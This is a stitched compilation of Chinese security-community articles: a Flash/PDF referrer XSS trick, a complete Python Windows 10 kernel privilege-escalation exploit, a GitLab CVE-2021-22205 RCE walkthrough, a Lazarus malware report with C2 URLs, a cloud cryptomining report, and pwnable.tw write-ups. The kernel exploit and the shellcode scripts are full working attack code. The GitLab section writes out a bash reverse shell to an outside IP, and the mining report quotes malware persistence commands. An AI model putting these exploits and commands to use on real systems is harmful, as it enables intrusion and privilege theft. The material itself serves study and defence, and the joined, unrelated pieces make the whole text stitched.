非常简单的技巧。如果发送请求来自于Flash的`navigateToURL()`方法，那么你将能很轻易的在 referrer
中包含`"<>`字符串，就像下面的方法：
https://l0.cm/xss_referrer.swf?<script>alert(1)</script>
这儿是相应的 ActionScript 代码：
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
public function xss_referrer() {
var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
navigateToURL(url, "_self");
}
}
}
正如所见的访问结果，我们能通过 `Referrer`请求头造成XSS。但很遗憾不能通过 `document.referrer`
属性进行XSS，因为它是空的。Dang :P
参考内容：我还能通过 Acrobat API 中 JavaScript 的 [submitForm()
method](http://wwwimages.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=345)
复现此漏洞。
我在使用 Adobe Reader plugin 的 Win10 IE11 确认了此漏洞的存在。
PoC在这儿：
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>
看来并没有被考虑到通过插件发起请求的情况。
就酱，在一些场景或许会有帮助吧。 Thanks!
* * * | 社区文章 |
# Windows10 v1607内核提权技术的发展——利用AcceleratorTable
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x001 前言
之前，我们曾讨论过在Win10 v1511下的内核提权，但微软在Win10 v1607做了一些调整，使得我们无法像在v1511上那样顺利地进行提权。
1.将GDI_CELL结构成员pKernelAddress置空，阻止内核信息泄露；
2.可以发现，某些objects会与Bitmap申请的objects分配在一个内存池之下(paged
pool)，利用该结构体成员gSharedInfo泄露出内核地址。
3.虽然无法直接泄露Bitmap
objects地址，但可以申请多个objects，通过gSharedInfo结构体成员得到该objects的内核地址，利用UAF让Bitmap
objects重新分配到这些内存。
关于在Win10 v1511下的提权技术，可以参考该文章
[Windows特权提升：GDI Bitmap滥用](https://www.anquanke.com/post/id/156519)
## 0x002 调试环境
虚拟机：Windows 10 x64 1607 Jul 2016
主机：Windows 10 x64 1709 Dec 2017
关于环境搭建的细节就不再多说了，参考之前的文章，或者该文章：
[Part 10: Kernel Exploitation -> Stack
Overflow](http://www.fuzzysecurity.com/tutorials/expDev/14.html)
## 0x003 How to Exploit it?
现在先来回顾一下v1511下的利用过程：
1.申请两个hManager, hWorker的Bitmap objects，获得各自pvscan0指针的内核地址；
2.将hManager的pvScan0指针指向hWorker的pvScan0指针的存放地址，这里需要一个内核任意写漏洞；
3.查询获得当前进程与system进程的token
4.调用API SetBitmapBits、GetBitmapBits，将system进程的token写入当前进程。
如何取得pvscan0指针的内核地址?
先来了解一下User objects，用于内核信息泄露的gSharedInfo成员就藏在User objects里
[User Objects](https://docs.microsoft.com/zh-cn/windows/desktop/SysInfo/user-objects)
通过CreateAcceleratorTable创建0x1000
size的加速表，立刻free掉创建的AcceleratorTable，不断重复，当再次请求分配AcceleratorTable与前一个释放掉的AcceleratorTable相同时，
请求分配Bitmap objects，这时pHead指针的地址就是结构成员pKernelAddress所在的位置。
def alloc_free_accelerator_tables():
previous_entry = 0
while (1):
accel_array = ACCEL_ARRAY()
hAccel = user32.CreateAcceleratorTableA(addressof(accel_array), 675) # size = 0x1000
entry = get_entry_from_handle(hAccel)
user32.DestroyAcceleratorTable(hAccel)
if previous_entry == entry:
debug_print ("t[+] Duplicate AcceleratorTable: 0x%X" % entry)
return entry
previous_entry = entry
def get_entry_from_handle(handle):
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo")
handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p))
pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0x18
pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p))
return pHead_ptr.contents.value
因为wintypes不包含这些内核数据结构，所以我们需要定义一下
class ACCEL(Structure):
_fields_ = [("fVirt", BYTE),
("key", WORD),
("cmd", WORD)]
class ACCEL_ARRAY(Structure):
_fields_ = [("ACCEL_ARRAY", POINTER(ACCEL) * 675)]
### debug
通过AcceleratorTable的不断Create、Destroy，Bitmap
objects重用AcceleratorTable释放的内存，预测到pvScan0指针的内核地址
获取到，system进程与当前进程的内核地址
注意一下查看几个重要的偏移，不同版本的Win10上可能不一致
## Exploit it!
完整的EXP
import sys,time,struct,ctypes,os
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
from win32com.shell import shell
import win32con
kernel32 = windll.kernel32
gdi32 = windll.gdi32
ntdll = windll.ntdll
user32 = windll.user32
hManager = HBITMAP()
hWorker = HBITMAP()
class PEB(Structure):
_fields_ = [("Junk", c_byte * 0xF8),
("GdiSharedHandleTable", c_void_p)]
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [("Reserved1", LPVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", LPVOID * 2),
("UniqueProcessId", c_void_p),
("Reserved3", LPVOID)]
class GDICELL64(Structure):
_fields_ = [("pKernelAddress", c_void_p),
("wProcessId", c_ushort),
("wCount", c_ushort),
("wUpper", c_ushort),
("wType", c_ushort),
("pUserAddress", c_void_p)]
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
class ACCEL(Structure):
_fields_ = [("fVirt", BYTE),
("key", WORD),
("cmd", WORD)]
class ACCEL_ARRAY(Structure):
_fields_ = [("ACCEL_ARRAY", POINTER(ACCEL) * 675)]
def alloc_free_accelerator_tables():
previous_entry = 0
while (1):
accel_array = ACCEL_ARRAY()
hAccel = user32.CreateAcceleratorTableA(addressof(accel_array), 675) # size = 0x1000
entry = get_entry_from_handle(hAccel)
user32.DestroyAcceleratorTable(hAccel)
if previous_entry == entry:
print "t[+] Duplicate AcceleratorTable: 0x%X" % entry
return entry
previous_entry = entry
def get_entry_from_handle(handle):
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo")
handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p))
pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0x18
pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p))
return pHead_ptr.contents.value
def write_mem(dest, src, length):
global hManager
global hWorker
write_buf = c_ulonglong(dest)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)
def read_mem(src, dest, length):
global hManager
global hWorker
write_buf = c_ulonglong(src)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)
def find_kernelBase(input_modules):
modules = {}
# Allocate arbitrary buffer and call NtQuerySystemInformation
system_information = create_string_buffer(0)
systeminformationlength = c_ulong(0)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Call NtQuerySystemInformation second time with right size
system_information = create_string_buffer(systeminformationlength.value)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Read first 4 bytes which contains number of modules retrieved
module_count = c_ulong(0)
module_count_string = create_string_buffer(system_information.raw[:8])
ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))
# Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
system_information = create_string_buffer(system_information.raw[8:])
for x in range(module_count.value):
smi = SYSTEM_MODULE_INFORMATION()
temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
module_name = smi.FullPathName.split('\')[-1]
modules[module_name] = smi
#debug_print ("rn[+] NtQuerySystemInformation():")
# Get base addresses and return them in a list
base_addresses = []
for input_module in input_modules:
try:
base_address = modules[input_module].ImageBase
#debug_print ("t[-] %s base address: 0x%X" % (input_module, base_address))
base_addresses.append(base_address)
except:
base_addresses.append(0)
return base_addresses
def main():
global hManager
global hWorker
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
dup_address = alloc_free_accelerator_tables()
gdi32.CreateBitmap.restype = HBITMAP
hManager = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, c_void_p())
hManager_pvscan0_off = dup_address + 0x50
print "[+] Manager Bitmap pvscan0 offset: 0x%X" % hManager_pvscan0_off
dup_address = alloc_free_accelerator_tables()
gdi32.CreateBitmap.restype = HBITMAP
hWorker = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, c_void_p())
hWorker_pvscan0_off = dup_address + 0x50
print "[+] Worker Bitmap pvscan0 offset: 0x%X" % hWorker_pvscan0_off
write_where = struct.pack("<Q", hManager_pvscan0_off)
write_what_object = struct.pack("<Q", hWorker_pvscan0_off)
write_what_object_ptr = id(write_what_object) + 0x20
write_what_final = struct.pack("<Q", write_what_object_ptr)
buf = write_what_final + write_where
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
kernelImage = "ntoskrnl.exe"
kernelImageBase = find_kernelBase(kernelImage.split())[0]
kernel32.LoadLibraryA.restype = HMODULE
hKernelImage = kernel32.LoadLibraryA(kernelImage)
print "[+] Module Name : {0}".format(kernelImage)
print "[+] Module Base(Userland) : {0}".format(hex(hKernelImage))
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
print "[+] PsInitialSystemProcess Userland Base Address : {0}".format(hex(PsISP_user_addr))
PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr - hKernelImage)
print "[+] PsInitialSystemProcess Kernel Base Address : {0}".format(hex(PsISP_kernel_addr_ptr))
PsISP_kernel_addr = c_ulonglong()
read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));
SYSTEM_EPROCESS = PsISP_kernel_addr.value
print "[+] SYSTEM EPROCESS : {0}".format(hex(SYSTEM_EPROCESS))
token_off = 0x358
unique_process_id_off = 0x2e8
active_process_links_off = 0x2f0
flink = c_ulonglong()
read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
CURRENT_EPROCESS = 0
while (True):
unique_process_id = c_ulonglong(0)
# Adjust EPROCESS pointer for next entry
EPROCESS = flink.value - unique_process_id_off - 0x8
read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));
# Check if we're in the current process
if (os.getpid() == unique_process_id.value):
CURRENT_EPROCESS = EPROCESS
break
read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
# If next same as last, we've reached the end
if (EPROCESS == flink.value - unique_process_id_off - 0x8):
break
print "[+] CURRENT EPROCESS : {0}".format(hex(CURRENT_EPROCESS))
system_token = c_ulonglong()
read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));
write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
WIN~
该文只是针对Win10 v1607的一种提权技术，在真实应用场景里，还需要找到一个内核任意写漏洞，才能完成整套利用过程。 | 社区文章 |
# CVE-2021-22205 GITLAB 未授权 RCE 漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中，因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204（https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html）的影响，攻击者可以通过一个未授权的接口上传一张恶意构造的图片，进而在GitLab服务器上执行命令。
## 利用条件
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
## 环境搭建
使用vulhub搭建漏洞环境。
git clone https://github.com/vulhub/vulhub.gitcd
进入 vulhub/gitlab/CVE-2021-22205 目录下
使用 docker-compose up -d 开始安装环境
环境部署完毕后，访问ip+8080、访问到以下页面，环境搭建成功。
## 漏洞分析
### **漏洞原理**
github上的diff记录对漏洞原理做简单分析。
审计源码、在 lib/gitlab/sanitizers/exif.rb 中 对允许的MIME类型做了修改 对上传文件类型的判断做了修复。
在 spec/lib/gitlab/sanitizers/exif_spec.rb 中对图像的规格检测做了修改。
在workhorse/internal/upload/uploads_test.go中对上传的图片、更新了校验规则、判断规则。
### **漏洞测试**
POC脚本测试如下：
python3 cve-2021-22205.py -v true -t http://127.0.0.1:8080
### **漏洞利用**
可利用python脚本exp功能。
1\. 上传txt文件
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “touch
/tmp/xl.txt”
2\. 反弹shell
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “echo ‘bash
-i >& /dev/tcp/192.168.181.130/9999 0>&1’ > /tmp/xl.sh”
添加执行权限
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “chmod +x
/tmp/xl.sh”
反弹shell
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “/bin/bash
/tmp/xl.sh”
## 修复建议
1\. 使用白名单、限制源ip；
2\. 更新到安全版本。
参考(https://hackerone.com/reports/1154542) | 社区文章 |
# 疑似Lazarus针对双平台的攻击活动披露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Lazarus
APT组织是一个长期活跃的组织，因为2014年攻击索尼影业而开始受到广泛关注，该组织早期主要针对韩国，美国等国家的政府机构进行攻击活动，以窃取情报等信息为目的。自2014年后，该组织开始针对全球金融机构，加密交易机构等为目标，进行敛财活动。
近期，奇安信威胁情报中心红雨滴团队在日常的APT样本追踪中，捕获一例利用心理测验为诱饵的Lazarus攻击样本，该样本通过宏释放PowerShell脚本执行,从而控制受害者计算机。奇安信威胁情报中心通过溯源关联，捕获另一例针对macOS的攻击样本，并在发现此次攻击活动的第一时间通过社交媒体进行预警。
## 样本分析
奇安信威胁情报中心红雨滴团队通过捕获到的针对Windows平台的恶意宏文档进行详细分析，并关联到该组织针对macOS平台攻击的恶意样本，针对这两个平台的样本详细分析如下。
### 诱饵文档
MD5 | 6850189bbf5191a76761ab20f7c630ef
---|---
作者 | Windows User
修改时间 | 2019:10:22 02:53:14
本次攻击活动攻击者使用心里测验相关内容为诱饵，诱导用户启用宏：
启用宏需要点击文档中的笑脸图标，从而执行恶意宏代码：
恶意宏代码执行后会将恶意PowerShell代码写入到%temp%目录下并通过PowerShell.exe执行：
### PowerShell脚本分析
释放的PowerShell脚本是一个后门，硬编码了三个C2地址：
执行后与内置的C2服务器进行通信，若通信失败，则休眠一段时间尝试连接其他C2地址：
最后从C2获取命令执行，根据不同的命令执行不同功能：
其支持的后门命功能如下表所示：
命令ID | 功能
---|---
2 | 设置休眠时间
3 | 结束本进程
11 | 获取本机基本信息上传
12 | 检查恶意程序当前状态
14 | 显示当前恶意程序配置
15 | 更新恶意程序C2等配置
18 | 通过cmd执行命令
20 | 上传指定文件
21 | 下载文件保存到指定文件
24 | 执行命令
部分恶意功能代码对应如下：
获取本机计算机名、IP地址、系统版本号等信息并上传：
通过CMD执行C2下发的命令：
更新C2服务器配置信息：
上传指定的文件：
下载文件保存到指定位置：
### macOS Backdoor分析
经过关联分析，奇安信威胁情报中心关联到使用相同C2且针对macOS平台的攻击样本，样本基本信息如下：
文件名 | Album.app.zip
---|---
MD5 | a8096ddf8758a79fdf68753190c6216a
样本解压后是macOS上的app应用程序，目录结构如下：
当点击启动app应用程序时，系统会从info.plist中获取应用信息。info.plist文件包括图标，可执行二进制文件名称，加载界面文件等对应用程序的基本描述。该恶意Flash
Player通过info.plist执行起来：
Flash Player运行后首先从自身偏移0x1340，截取大小0x6c74的数据保存到.FlashUpdateCheck：
之后写入配置文件com.adobe.macromedia.flash.plis，并通过launchctl
load加载配置文件，从而使配置文件生效并实现.FlashUpdateCheck的自启动：
接着使用chmod命令提升.FlashUpdateCheck权限：
.FlashUpdateCheck文件相关信息如下：
文件名 | .FlashUpdateCheck
---|---
MD5 | bac54e7199bd85afa5493e36d3f193d2
该文件具有后门功能，功能与前述PowerShell后门基本一致，且同样硬编码了三个C2地址：
其运行后会与C2通信获取需要执行的指令：
之后根据C2指令执行不同的恶意功能：
对应的功能列表如下：
命令ID | 功能
---|---
2 | 设置休眠时间
3 | 结束本进程
11 | 获取本机基本信息上传
12 | 检查恶意程序当前状态
14 | 显示当前恶意程序配置
15 | 更新恶意程序C2等配置
18 | 通过bash执行命令
19 | 执行其他命令
20 | 上传指定文件
21 | 下载文件
24 | 通过system执行
25 | 通过system执行
## 溯源与关联
通过对本次攻击活动的后门代码以及TTPs（战术、技术及步骤）分析，奇安信威胁情报中心推测本次攻击活动的幕后黑手疑似Lazarus APT组织，相关分析如下。
### 相似的后门
本次攻击所使用的PowerShell脚本和Lazarus APT组织历史使用的脚本基本一致：
本次捕获到的恶意macOS 样本与Lazarus APT组织之前使用的样本的主要流程基本一致：
且C2在奇安信威胁情报大数据平台（ti.qianxin.com）已打上Lazarus APT的标签：
综上，本次捕获的攻击样本应该是出自臭名昭著的Lazarus APT团伙。
## 总结
Lazarus
团伙是一个长期活跃的APT组织，武器库十分强大，拥有对多平台进行攻击的能力，近年来，该团伙多次被安全厂商披露，但从未停止进攻的脚本，反而越发活跃，攻击目标也越发广泛。同时，该团伙也多次针对国内进行攻击活动，企业用户在日常的工作中，切勿随意打开来历不明的邮件附件。
目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC等，都已经支持对此类攻击的精确检测。
## IOCs
MD5
6850189bbf5191a76761ab20f7c630ef
a8096ddf8758a79fdf68753190c6216a
URL
hxxps://crabbedly.club/board.php
hxxps://craypot.live/board.php
htxxps://indagator.club/board.php
## 参考链接
<https://twitter.com/RedDrip7/status/1186562944311517184>
<https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/> | 社区文章 |
# 2018年云上挖矿分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，阿里云安全团队发布了《2018年云上挖矿分析报告》。该报告以阿里云2018年的攻防数据为基础，对恶意挖矿态势进行了分析，并为个人和企业提出了合理的安全防护建议。
>
> 报告指出，尽管加密货币的价格在2018年经历了暴跌，但挖矿仍是网络黑产团伙在入侵服务器之后最直接的变现手段，越来越多的0-Day/N-Day漏洞在公布后的极短时间内就被用于入侵挖矿，黑产团伙利用漏洞发起攻击进行挖矿的趋势仍将持续。
以下是报告部分内容，请关注“阿里云安全”公号后，回复“报告”二字获取完整版报告下载链接。
报告主笔：悟泛
其他内容贡献者：桑铎、堇云、穆如、乐枕、燚龘、刘洪亮、南浔
## 攻击态势分析
### 【热点0-Day/N-Day漏洞利用成为挖矿团伙的”武器库”,0-Day漏洞留给用户进行修复的窗口期变短】
2018年，多个应用广泛的web应用爆出高危漏洞，对互联网安全造成严重威胁。事后安全社区对漏洞信息的分析和漏洞细节的分享，让利用代码能够方便的从互联网上获取。挖矿团伙自然不会放过这些唾手可得的“武器库”。此外一些持续未得到普遍修复的N-Day漏洞往往也会被挖矿团伙利用。本报告梳理了部分热点0-Day/N-Day漏洞被挖矿团伙大量利用的事件。
同时阿里云观察到，0-Day漏洞从披露到大规模利用之间的时间间隔越来越小。因此在高危0-Day漏洞爆出后未能及时修复的用户，容易成为恶意挖矿的受害者。
### 【非Web网络应用暴露在公网后成为挖矿团伙利用的重灾区】
企业对Web应用可能造成的安全威胁已经有足够的重视，WAF、RASP、漏洞扫描等安全产品也提升了Web应用的安全水位。而非Web网络应用(Redis、Hadoop、SQLServer等)往往并非企业核心应用，企业在安全加固和漏洞修复上投入并不如Web应用，往往导致高危漏洞持续得不到修复，因而挖矿团伙也会针对性利用互联网上这些持续存在的弱点应用。本报告梳理了2018年非Web网络应用漏洞被挖矿团伙利用的时间线。
### 【挖矿团伙广泛利用暴力破解进行传播，弱密码仍然是互联网面临的主要威胁】
下图为不同应用被入侵导致挖矿所占百分比，可以发现SSH/RDP/SQLServer是挖矿利用的重点应用，而这些应用通常是因为弱密码被暴力破解导致被入侵感染挖矿病毒。由此可以看出弱密码导致的身份认证问题仍然是互联网面临的重要威胁。
## 恶意行为
### 【挖矿后门普遍通过蠕虫形式传播】
大多数的挖矿团伙在感染受害主机植入挖矿木马后，会控制这些受害主机对本地网络及互联网的其他主机进行扫描和攻击，从而扩大感染量。这些挖矿木马传播速度较快，且很难在互联网上根除，因为一旦少量主机受到恶意程序感染，它会受控开始攻击其他主机，导致其它带有漏洞或存在配置问题的主机也很快沦陷。
少量挖矿团伙会直接控制部分主机进行网络攻击，入侵受害主机后只在主机植入挖矿后门，并不会进一步扩散。最有代表性的就是8220挖矿团伙。这类团伙一般漏洞利用手段比较丰富，漏洞更新速度较快。
### 【挖矿团伙会在受害主机上通过持久化驻留获取最大收益】
大多数的挖矿团伙，都会尝试在受害主机上持久化驻留以获取最大收益。
通常在Linux系统中，挖矿团伙通过crontab设置周期性被执行的指令。在Windows系统中，挖矿团伙通常使用schtask和WMI来达到持久化的目的。
如下为Bulehero木马执行添加周期任务的schtask命令:
cmd /c schtasks /create /sc minute /mo 1 /tn “Miscfost” /ru system /tr “cmd /c
C:\Windows\ime\scvsots.exe”
cmd /c schtasks /create /sc minute /mo 1 /tn “Netframework” /ru system /tr
“cmd /c echo Y|cacls C:\Windows\scvsots.exe /p everyone:F”
### 【挖矿团伙会通过伪装进程、加壳、代码混淆、私搭矿池或代理等手段规避安全分析和溯源】
Bulehero挖矿网络使用的病毒下载器进程名为scvsots.exe，与windows正常程序的名字svchost.exe极其相似；其它僵尸网络使用的恶意程序名，像taskhsot.exe、taskmgr.exe、java这类形似正常程序的名称也是屡见不鲜。
在分析挖矿僵尸网络的过程中我们发现，大多数后门二进制程序都被加壳，最经常被使用的是Windows下的UPX、VMP、sfxrar等，如下图，几乎每个RDPMiner使用的恶意程序都加了上述三种壳之一。
此外，挖矿团伙使用的恶意脚本往往也经过各种混淆。如下图，JBossMiner挖矿僵尸网络在其vbs恶意脚本中进行混淆加密。
尽管人工分析时可以通过多种手段去混淆或解密，但加密和混淆对逃避杀毒软件而言，仍是非常有效的手段。
恶意挖矿团伙使用自己的钱包地址连接公开矿池，可能因为矿池收到投诉导致钱包地址被封禁。挖矿团伙倾向于更多的使用矿池代理或私搭矿池的方式进行挖矿。进而安全研究人员也难以通过矿池公布的HashRate和付款历史估算出被入侵主机的数量和规模。
## 主流团伙概述
### 1.DDG挖矿团伙
从2017年底首次被曝光至今，DDG挖矿僵尸网络一直保持着极高的活跃度。其主要恶意程序由go语言写成，客观上对安全人员研究分析造成了一定阻碍。而频繁的程序配置改动、技术手段升级，使它堪称2018年危害最大的挖矿僵尸网络。
DDG（3019）各模块结构功能
### 2.8220挖矿团伙
在诸多挖矿僵尸网络中，8220团伙的挖矿木马独树一帜，因为它并未采用蠕虫型传播，而是直接对漏洞进行利用。
这种方式理论上传播速度较慢，相较于蠕虫型传播的僵尸网络也更难存活，但8220挖矿团伙仍以这种方式获取了较大的感染量。
挖矿网络结构
### 3.Mykings(theHidden)挖矿团伙
Mykings（又名theHidden“隐匿者”）挖矿网络在2017年中就被多家友商提及并报道。它从2014年开始出现，时至今日该僵尸网络依然活跃，可以说是拥有非常旺盛的生命力。该僵尸网络极为复杂，集成了Mirai、Masscan等恶意程序的功能，此外在payload、BypassUAC部分都使用极其复杂的加密混淆技术，掩盖攻击意图，逃避安全软件的检测和安全研究人员的分析。该挖矿僵尸网络在11月底更是被发现与“暗云”联手，危害性再次增强。
挖矿网络结构
4.Bulehero挖矿团伙
挖矿网络结构
### 5.RDPMiner挖矿团伙
该挖矿僵尸网络自2018年10月开始蔓延，之后多次更换挖矿程序名称。
挖矿网络结构
### 6.JbossMiner挖矿团伙
阿里云安全团队于2018年3月报道过，从蜜罐中捕获到JbossMiner的恶意程序样本，该样本由py2exe打包，解包反编译后是一套由Python编写的完整攻击程序，包含源码及依赖类库等数十个文件。且对于Windows和Linux系统的受害主机，有不同的利用程序。
挖矿网络结构
### 7.WannaMine
WannaMine是一个蠕虫型僵尸网络。这个挖矿团伙的策略曾被CrowdStrike形容为“靠山吃山靠水吃水”(living off the
land)，因为恶意程序在被感染的主机上，首先会尝试通过Mimikatz收集的密码登录其他主机，失败之后再利用“永恒之蓝”漏洞攻击其他主机，进行繁殖传播。
挖矿网络结构
### 8.Kworkerd
这是一个主要攻击Redis数据库未授权访问漏洞的挖矿僵尸网络，因其将挖矿程序的名字伪装成Linux正常进程Kworkerd故得名。
该木马只利用一种漏洞却仍有不少感染量，说明数据库安全配置亟待得到用户的重视。
### 9.DockerKiller
随着微服务的热度不断上升，越来越多的企业选择容器来部署自己的应用。而Docker作为实现微服务首选容器，在大规模部署的同时其安全性却没有引起足够的重视。2018年8月，Docker配置不当导致的未授权访问漏洞遭到挖矿团伙的批量利用。
挖矿网络结构
## 安全建议
如今尽管币价低迷，但由于经济形势承受下行的压力，可能为潜在的犯罪活动提供诱因。阿里云预计，2019年挖矿活动数量仍将处于较高的水位；且随着挖矿和漏洞利用相关知识的普及，恶意挖矿的入场玩家可能趋于稳定且伴有少量增加。
基于这种状况，阿里云安全团队为企业和个人提供如下安全建议：
* 安全系统中最薄弱的一环在于人，最大的安全问题也往往出于人的惰性，因此弱密码、爆破的问题占了挖矿原因的半壁江山。无论是企业还是个人，安全意识教育必不可少；
* 0-Day漏洞修复的窗口期越来越短，企业需要提升漏洞应急响应的效率，一方面是积极进行应用系统更新，另一方面是关注产品的安全公告并及时升级，同时也可以选择购买安全托管服务提升自己的安全水位；
* 伴随着云上弹性的计算资源带来的便利，一些非Web类的网络应用暴露的风险也同步上升，安全运维人员应该重点关注非Web类的应用伴随的安全风险，或者选择购买带IPS功能的防火墙产品，第一时间给0-Day漏洞提供防护。 | 社区文章 |
# CTF-PWN | pwnable.tw前六题题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
pwnable.tw前六题题解，不算太难，不过也学到很多东西，因为官网不允许公开高分题题解，所以先写了这几道分比较低的题目。
## pwnable.tw_challenge_start
载入IDA分析：
### 0x01 _start
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX - add esp, 14h
retn
可以看到关键几点：
开始时esp入栈：push esp
而后代表字符串:"Let's start the CTF:"的数据入栈：
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
调用80h中断中的4号程序：sys_write显示字符串
调用80h中断中的3号程序：sys_read读入字符串
栈帧大小为(我们需要覆盖的长度)20字节: add esp, 14h
这里附上system_call的系统调用表网址：
http://syscalls.kernelgrok.com/
### 0x02 获取shell
很显然，这里需要利用第二步调用中断的sys_read来覆盖返回地址来获取shell，因此我们需要：
1 获得esp地址以便覆盖返回地址来执行我们的shellcode
2 使用shellcode覆盖栈中数据
开始时，_start中将esp入栈，而最后_start返回时栈顶便是我们需要的esp值
我们需要构造payload：
payload=任意20字节字符串+p32(调用sys_write的mov ecx, esp地址)
获取esp值后，我们将shellcode入栈并利用覆盖返回地址来执行：
payload=任意20字节字符串+p32(esp+20)+shellcode
### 0x03 shellcode
利用80h中断中的sys_execve：
x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80
即：
31 c9 xor ecx,ecx
f7 e1 mul ecx
51 push ecx
68 2f 2f 73 68 push 0x68732f2f ;传入参数/bin/sh
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
b0 0b mov al,0xb ;调用80h中断中b号程序：sys_execve
cd 80 int 0x80
### 0x04 EXP
from pwn import *
p = remote('chall.pwnable.tw',10000)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
addr = u32(p.recv(4))+20
shellcode = 'x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)
p.interactive()
## pwnable.tw_challenge_orw
载入IDA分析：
### 0x01 main
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 4
call orw_seccomp
sub esp, 0Ch
push offset format ; "Give my your shellcode:"
call _printf
add esp, 10h
sub esp, 4
push 0C8h ; nbytes
push offset shellcode ; buf
push 0 ; fd
call _read
add esp, 10h
mov eax, offset shellcode
call eax ; shellcode
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
这里很简单：
1 读入我们输入的shellcode
2 自动调用我们的shellcode：
mov eax, offset shellcode
call eax ; shellcode
